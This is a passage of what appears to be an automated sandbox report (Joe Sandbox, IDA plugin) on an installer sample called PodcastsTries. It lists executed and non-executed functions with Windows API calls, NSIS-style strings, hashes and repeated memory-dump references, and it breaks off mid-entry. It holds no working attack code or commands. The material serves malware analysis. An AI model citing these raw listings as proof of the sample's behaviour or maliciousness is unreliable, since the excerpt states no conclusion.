Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

, xrefs: 00404F65
N, xrefs: 00404C32
@, xrefs: 00404BBC
M, xrefs: 00404B6F

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

ptF, xrefs: 00406D1A
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

name, xrefs: 00406FEB
GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406858
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
F, xrefs: 00406A7F

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

Kernel32.DLL, xrefs: 004065C7
Unknown, xrefs: 00406528
Module32FirstW, xrefs: 004065FF
EnumProcesses, xrefs: 004064AE
EnumProcessModules, xrefs: 004064B6
PSAPI.DLL, xrefs: 00406490
CreateToolhelp32Snapshot, xrefs: 004065E1
Process32FirstW, xrefs: 004065E9
GetModuleBaseNameW, xrefs: 004064C0
Module32NextW, xrefs: 0040660A
Process32NextW, xrefs: 004065F4

Memory Dump Source

